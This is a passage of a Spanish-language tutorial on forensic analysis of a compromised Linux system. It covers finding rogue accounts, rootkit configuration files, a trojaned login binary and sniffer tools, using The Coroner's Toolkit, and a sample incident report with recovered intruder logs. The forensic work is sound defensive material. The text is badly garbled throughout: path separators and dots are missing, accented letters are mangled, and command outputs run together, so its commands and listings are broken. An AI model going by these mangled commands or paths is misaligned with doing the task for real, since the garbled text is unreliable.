drwxr-xr-x 2 root root 1024 Apr 26 1112 bootdrwxr-xr-x 3 root root 3072 Apr 21 0401 sbindrwxr-xr-x 4 root root 3072 Apr 21 0356 libdrwxrwxr-x 2 root root 1024 Mar 3 1327 cdromdrwxr-xr-x 2 root root 1024 Oct 9 1999 homedrwxr-xr-x 2 root root 12288 Oct 9 1999 lost+founddrwxr-xr-x 4 root root 1024 Oct 9 1998 mntdrwxr-xr-x 2 root root 1024 Oct 9 1999 procdrwxr-xr-x 20 root root 1024 Aug 2 1998 usrdrwxr-xr-x 18 root root 1024 Aug 2 1998 var

Observando este listado podemos notar que efectivamente no nos hemos equivocado ya que esa particioacuten es de hechola particioacuten root ya que contiene directorios usr var proc bin root etc etc Vemos que el directoriohome tiene 2 enlaces y el directorio usr tiene 20 enlaces (ya que por las entradas de directorios y el nuacutemeromiacutenimo de enlaces que llevan a un directorio son 2) Todaviacutea no sabemos que es lo que exactamente contiene laparticioacuten devhdd4 Parece que posiblemente contiene el contenido del home y no del usr ni tampoco var por lasmismas razones

Por supuesto para salir de dudas podemos examinar el fichero etcfstab

Ejemplo

less mntetcfstab

devhda1 dosc msdos defaults 0 0devhda2 ext2 defaults 1 1devhda4 home ext2 defaults 1 2devhda3 swap swap defaults 0 0devcdrom cdrom iso9660 noautouserro 0 0devfd0 floppy ext2 noautouserrw 0 0none proc proc defaults 0 0none devpts devpts mode=0622 0 0

Cabe tomar nota aquiacute que utilizamos el paginador less Es para prevenir potencialmente insertados caracteresespeciales que pueden modificar los ajustes del terminal en tty si eso pasa el terminal es inutilizable para nosotrosya que no podemos ni leer ni escribir de forma legible Si estuvo utilizando el programa script para logear la sesioacutentendraacute que salir y resetear el terminal posiblemente olvidando de script y olvidando de los records anteriores Detodas maneras antes de salir intentaremos Ctrl+D para cerrar la sesioacuten script

Recuerde que si el disco era el uacutenico dispositivo IDE utilizado en el sistema pueda posiblemente ser master en elprimer controlador o devhda Por eso el fichero fstab los muestra de tal forma y no como devhdd como aparecen ennuestro sistema de anaacutelisis Por lo tanto para que podamos montar la particioacuten home necesitamos utilizar devhdd4

16

Ejemplo

umount mnt mount -r devhdd4 mnt ls -lat mnttotal 21drwx------ 47 user1 user1 3072 Apr 28 1152 user1drwx------ 10 user3 user3 1024 Dec 3 1419 user3drwx------ 4 user2 user2 1024 Oct 14 1999 user2drwxr-xr-x 2 root root 12288 Oct 1 1999 lost+founddrwxr-xr-x 2 root nobody 1024 Apr 15 1999 sambadrwxr-xr-x 5 root root 1024 Apr 7 1999 httpddrwxr-xr-x 6 root root 1024 Mar 21 1999 ftpdrwxr-xr-x 30 root root 1024 Aug 2 1998 local

Ahora podemos ver el contenido de la particioacuten home montado sobre mnt Vamos por ahora ignorar el contenidode la particioacuten home ya que ninguacuten fichero de sistema operativo se encuentra alliacute En futuro podemos examinarsu contenido para detectar alguacuten indicio de back-door como aplicaciones setuidsetgid ficheros rhosts comandosantildeadidos a los ficheros de inicializacioacuten de shell (cshrc bashrc etc) que pueden enviar una copia de fichero quecontiene passwords a una direccioacuten borrar fichero similares

Ahora vamos a re-montar en solo lectura el sistema de ficheros root y empecemos a investigar

Ejemplo

umount mnt mount -r devhdd2 mnt

Primero verifiquemos que es lo que contiene el fichero etcpasswd para ver que UIDGIDs hay dentro Este ficherodebe ser copiado y utilizado con la aplicacioacuten mactime del suite de herramientas The Coronerrsquos Toolkit [13] Laaplicacioacuten nos mostraraacute el mapeo correcto de UIDs y GIDs

El fichero puede contener cuentas creadas por los intrusos como por ejemplo aquiacute

less mntetcpasswd

rootx00rootrootbinbashbinx11binbindaemonx22daemonsbinadmx34admvaradmlpx47lpvarspoollpd

17

syncx50syncsbinbinsyncshutdownx60shutdownsbinsbinshutdownzx00binbashhaltx70haltsbinsbinhaltmailx812mailvarspoolmailnewsx913newsvarspoolnewsuucpx1014uucpvarspooluucpoperatorx110operatorrootr00tx598500binbashgamesx12100gamesusrgamesyx900100tmpbinbashgopherx1330gopherusrlibgopher-dataftpx1450FTP Userhomeftpnobodyx9999Nobodygdmx4242homegdmbinbashxfsx100233X Font ServeretcX11fsbinfalseuser1x500500User 1homeuser1bintcshuser2x501501User 2homeuser2bintcshuser3x502502User 3homeuser3bintcshnamedx2525Namedvarnamedbinfalse

En el ejemplo anterior podemos observar que hay cuentas que parecen totalmente fuera de lugar ya que tienen nuacutemerosUID elevados y sin orden aparente por ejemplo r00t y (que por cierto tiene asignado como $HOME el directoriotmp) Un fichero de passwd legiacutetimo y creado por el sistema normalmente sigue un patroacuten secuencial de asignacioacutende UIDrsquos Mientras aquiacute anotamos que las cuentas con UIDs de orden bajo como reciente mente antildeadidos namedcon UID 25 y z con UID 0 y GID 0 (lo mismo que root) son altamente sospechosos por su posicioacuten Hemos tomadonota para volver luego y investigar maacutes en detalle Intente de forma opcional extraer las contrasentildeas de esos usuariosen formato cifrado y intentar ripearlos (hay muchas posibilidades de que los intrusos tengan la misma contrasentildea enla maacutequina atacada y en suya propia) Tambieacuten apunte algunas conclusiones a las que hemos llegado ahora

1Creacioacuten de cuentas es una accioacuten frecuente y creadas de tal manera como hemos visto anteriormente muestranun nivel de conocimientos bajo del intruso

2Tambieacuten podemos suponer que los intrusos ya han observado que el administrador no realiza verificaciones deseguridad rutinarias y no temen ser descubiertos

3Puede ser que sea un entretenimiento para los intrusos crear cuentas para que el administrador las encuentre laselimine y asume que el sistema estaacute seguro mientras que hay muacuteltiples puertas traseras instaladas que permitencompromiso root de la maacutequina

4Como normalmente las cuentas se crean de forma secuencial en el fichero etcpasswd puede que el administrador(o alguien maacutes) haya instalado named en el sistema de forma reciente (o el intruso haya instalado una versioacutende named vulnerable)

18

Debe empezar a construir una liacutenea temporal para anotar cuando han ocurrido los hechos intentar trazar de formainversa todos los acciones hasta el intento de entrada al sistema y el punto de origen de entrada Aprovechando todoslos hechos acumulados al final podremos determinar el origen verdadero del atacante y los sistemas utilizados paraatacar a la maacutequina

En este momento nos encontramos en la fase de observacioacuten ahora estamos tomando notas de lo que pasoacute hemosverificado que tenemos el contenido de disco duro intacto disponemos de tres copias del disco duro y las estamosestudiando en modo solo lectura

Desde aquiacute el anaacutelisis puede ser continuado usando herramientas comunes de Unix yo herramientas especialmentedisentildeados para anaacutelisis forense Tambieacuten debemos utilizar toda nuestra experiencia anterior y el sentido comuacuten

7 Anaacutelisis con Herramientas Estaacutendar de UnixAsumiendo que nuestras herramientas de Unix estaacuten limpias de root-kit podemos seguir desde el punto donde lodejamos en la seccioacuten anterior Hemos notado que las dos cuentas y y z tienen el directorio home situado en entmp y en respectivamente Eso significa que debemos examinar de forma detenida estos directorios para detectarcualquier anomaliacutea

ls -lat mnttmptotal 156drwxrwxrwt 6 root root 1024 May 1 0403 -r--r--r-- 1 root gdm 11 Apr 29 1417 X0-lockdrwxrwxrwt 2 root gdm 1024 Apr 29 1417 X11-unixdrwxrwxrwt 2 xfs xfs 1024 Apr 29 1417 font-unixdrwxr-xr-x 25 y root 1024 Apr 28 2347 drwx------ 2 user1 user1 1024 Apr 26 1736 kfm-cache-500-rw-rw-r-- 1 user1 user1 12288 Apr 26 1637 psdevtabdrwxrwxrwt 2 root root 1024 Apr 21 1112 ICE-unix-rwx------ 1 root root 138520 Apr 20 2015 fileMFpmnk

El listado nos muestra que existe un fichero cuyo tamantildeo es superior al resto Tambieacuten vemos que es el fichero maacutesantiguo de la carpeta que pertenece al root El nombre del fichero no estandarizado y posee derechos de ejecucioacutenDebemos determinar de que tipo de fichero se trata El programa file nos informa que el fichero misterioso es unbinario ELF de 32-bit LSB ejecutable Intel 80386 versioacuten 1 (Linux) enlazado estaacuteticamente stripeado Para ver cuales el objetivo del fichero examinamos el listado de cadenas de texto que contiene

1strings - mnttmpfileMFpmnk

19

libld-linuxso2__gmon_start__libpamso0_DYNAMIC_GLOBAL_OFFSET_TABLE_pam_set_itemfree__ctype_tolowermallocstrcmppam_endpam_start

FileCompressedBlockStream[nowhere yet]ftpdaAvdlLiopPqQrsStTuwWXbad value for -uoption -c requires an argumentunknown option -c ignored

VirtualFTP Connect to s [s]bannerlogfileemailvarlogxferlogconnection refused (server shut down) from ss FTP server shut down -- please try again laterlslongbinls -lalsshortlsplainbinlsgreetingfulltersebriefs FTP server (s) readys FTP server readyFTP server ready

FTP LOGIN REFUSED (already logged in as s) FROM s s

20

Already logged inetcftphostsFTP LOGIN REFUSED (name in s) FROM s sanonymousFTP LOGIN REFUSED (anonymous ftp denied on default server) FROM s sFTP LOGIN REFUSED (ftp in denied-uid) FROM s setcftpusers

Por lo que vemos strings nos comenta que el binario es un servidor FTP normalmente llamado ftpd oacute inftpd Puedeser que el fichero forma parte de un root-kit o de un caballo de Troya Los ficheros de configuracioacuten de este tipode kits suelen normalmente encontrarse en el directorio dev entonces una buacutesqueda raacutepida en ese directorio podraacutedesvelar nos mucha informacioacuten uacutetil

cd mntdev ls -lat | head -30total 116drwxr-xr-x 8 root root 34816 Apr 30 0402 srw-rw-rw- 1 root root 0 Apr 30 0402 logcrw------- 1 root root 4 1 Apr 29 1417 tty1crw------- 1 root root 4 2 Apr 29 1417 tty2crw------- 1 root root 4 3 Apr 29 1417 tty3crw------- 1 root root 4 4 Apr 29 1417 tty4crw------- 1 root root 4 5 Apr 29 1417 tty5crw------- 1 root root 4 6 Apr 29 1417 tty6srwxrwxrwx 1 root root 0 Apr 29 1417 gpmctlsrw------- 1 root root 0 Apr 29 1417 printercrw-r--r-- 1 root root 1 9 Apr 29 1417 urandomprw------- 1 root root 0 Apr 29 1414 initctldrwxr-xr-x 25 y root 1024 Apr 28 2347 crw-rw-rw- 1 root tty 3 2 Apr 28 1144 ttyp2crw-rw-rw- 1 root tty 3 0 Apr 28 1143 ttyp0crw-rw-rw- 1 root tty 3 1 Apr 28 1143 ttyp1-rw-r--r-- 1 root root 18 Apr 27 2258 ptypdrwxr-xr-x 4 r00t root 1024 Apr 27 2258 crw-rw-rw- 1 root tty 3 4 Apr 27 1202 ttyp4crw-rw-rw- 1 root tty 3 3 Apr 27 1156 ttyp3crw------- 1 root root 5 1 Apr 21 1109 consolelrwxrwxrwx 1 root root 5 Apr 21 0402 mouse -gt psauxdrwxr-xr-x 2 root root 1024 Apr 20 1521 rev0-rw-r--r-- 1 root root 33 Apr 20 1521 ptyrlrwxrwxrwx 1 root root 9 Feb 28 0223 isdnctrl -gt isdnctrl0lrwxrwxrwx 1 root root 5 Feb 28 0223 nftape -gt nrft0lrwxrwxrwx 1 root root 3 Feb 28 0223 fb -gt fb0

21

lrwxrwxrwx 1 root root 15 Feb 28 0223 fd -gt procselffdlrwxrwxrwx 1 root root 4 Feb 28 0223 ftape -gt rft0Broken pipe

De todos los ficheros que podemos ver en este directorio nos llaman atencioacuten los archivos ptyp y ptyr que noson dispositivos comunes ni directorios ni tampoco enlaces simboacutelicos son ficheros de tipo ASCII text Tambieacutenlocalizamos un directorio llamado rev0 y una carpeta oculta que pertenece al usuario r00t

less ptyr

spplslicessynk4rev0bc1snif

Son ficheros de configuracioacuten de un caballo de Troya El contenido muestra que ls ocultaraacute ficheros o directorios spplslice (un cliente DoS) ssynk4 (cliente DoS) rev0 bc1 y snif (adivina que puede ser )

Si estamos seguros que nuestro sistema no estaacute infectado con un root-kit podemos utilizar las herramientas find ygrep para identificar doacutende se encuentran estos ficheros (el disco estaacute montado como solo lectura nodev iquestverdad)

cd mnt

find -ls | grep -f etcptyr282058 1 drwxr-xr-x 2 root root 1024 Apr 20 1521 devrev0282059 1 -rw-r--r-- 1 root root 5 Apr 20 1521 devrev0sniffpid

282061 20 -rw-r--r-- 1 root root 19654 Apr 20 2023 devrev0tcplog164753 9 -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 devrev0slice164754 8 -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 devrev0smurf4164755 8 -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 devrev0snif164756 4 -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 devrev0sppl164770 9 -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 devblitznetslice2

61907 2 -rwxr-xr-x 1 root root 2006 Mar 29 1999 usrbinsliceprint

255230 1 -rw-r--r-- 1 root root 900 Mar 21 1999 usrincludepython15sliceobjecth

22

Algunos de los ficheros que estaacuten en la lista posiblemente son ficheros legiacutetimos del sistema operativo pero hayalgunos que son bastante sospechosos los que se encuentran en dos carpetas del directorio dev

cd mntdev less ptyp

3 egg3 egg3 bnc

En este momento podemos hacer una apuesta seguro que el fichero ptyp es un fichero de configuracioacuten de la utilidadps del root-kit que oculta los procesos que contienen cadenas egg bnc en sus nombres Hay que encontrarbinarios ejecutables con estos nombres

cd mntdev ls -lR total 2699drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet-rw-r--r-- 1 root root 30720 Apr 26 0407 blitznettar-rwxrw-r-- 1 r00t user1 22360 Apr 27 2258 bnc-rw-r--r-- 1 900 users 2693120 Apr 20 2218 collisiontar-rw-rw-r-- 1 r00t user1 976 Apr 27 2258 exampleconf-rw-rw-r-- 1 user1 user1 5 Apr 28 2035 pidbnc

blitznettotal 22-rw-r--r-- 1 root 1000 3450 Aug 10 1999 README-rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitzc-rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzdc-rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rushtcl-rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2

ls -lR rev0rev0total 51

23

-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif-rw-r--r-- 1 root root 5 Apr 20 1521 sniffpid-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sppl-rw-r--r-- 1 root root 19654 Apr 20 2023 tcplog

cd mntusrbin ls -lat | headtotal 89379drwxr-xr-x 6 root root 27648 Apr 21 0401 -rwsr-xr-x 1 root root 20164 Apr 15 1923 chxlrwxrwxrwx 1 root root 8 Feb 28 0228 netscape-navigator -gt netscapedrwxrwxr-x 2 news news 1024 Feb 28 0225 rnewslibexecdrwxrwxr-x 2 news news 1024 Feb 28 0225 controldrwxrwxr-x 2 news news 1024 Feb 28 0225 filterlrwxrwxrwx 1 root root 4 Dec 30 1306 elatex -gt etexlrwxrwxrwx 1 root root 5 Dec 30 1306 lambda -gt omegalrwxrwxrwx 1 root root 3 Dec 30 1306 latex -gt texBroken pipe

strings - chxlibld-linuxso2__gmon_start__libcryptso1libpamso0

varlogbtmpusrsharelocaleutil-linuxfhplogin -h for super-user onlyusage login [-fp] [username]devttysdevvcsdevvcsaloginlogin PAM Failure aborting sCouldnrsquot initialize PAM sFAILED LOGIN d FROM s FOR s sLogin incorrectTOO MANY LOGIN TRIES (d) FROM s FOR s s

24

FAILED LOGIN SESSION FROM s FOR s sLogin incorrecthushloginssvarrunutmpvarlogwtmpbinshTERMdumbHOMEusrlocalbinbinusrbinPATHsbinbinusrsbinusrbinSHELLvarspoolmailMAILLOGNAMEDIALUP AT s BY sROOT LOGIN ON s FROM sROOT LOGIN ON sLOGIN ON s BY s FROM sLOGIN ON s BY sYou have smailnewlogin failure forking ssetuid() failedNo directory sLogging in with home = login no memory for shell scriptexeclogin couldnrsquot exec shell script slogin no shell ss loginlogin name much too longNAME too longlogin names may not start with rsquo-rsquotoo many bare linefeedsEXCESSIVE linefeedsLogin timed out after d secondsetcsecurettyetcmotdvarloglastlogLast login sfrom son sLOGIN FAILURE FROM s s

25

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

